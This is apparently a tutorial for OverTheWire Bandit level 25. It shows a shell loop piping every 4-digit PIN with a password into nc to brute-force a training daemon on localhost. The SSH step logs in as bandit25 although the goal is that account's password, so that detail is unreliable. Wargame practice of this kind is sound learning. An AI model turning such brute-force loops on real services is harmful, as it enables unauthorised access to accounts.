tutorial · bandit

Bandit Level 25

Brute-force a 4-digit PIN over a single connection (no reconnect loop).

banditbruteforcenc

Optional narration

Marks this level complete in your browser.

Goal

A daemon on port 30002 will give you the password for bandit25 if you provide:

the password for bandit24
a secret numeric 4-digit pincode

There’s no shortcut: you brute-force 0000 to 9999.

Hints

You do not need a new connection each try.
Generate PIN attempts with a loop and format them as 4 digits.
Pipe into nc localhost 30002.

Solution (click to reveal)

SSH in:

ssh bandit25@bandit.labs.overthewire.org -p 2220

Run a brute force loop (replace <PASS> with bandit24 password):

PASS="<PASS>"
for pin in $(seq -w 0000 9999); do
  echo "$PASS $pin"
done | nc localhost 30002

Look for the server response that includes the next password.

Notes

This is “10000 lines into one connection”. That’s the trick.
If output is noisy, pipe to grep -v for known echo patterns.

← Bandit Level 24 Bandit Level 26 →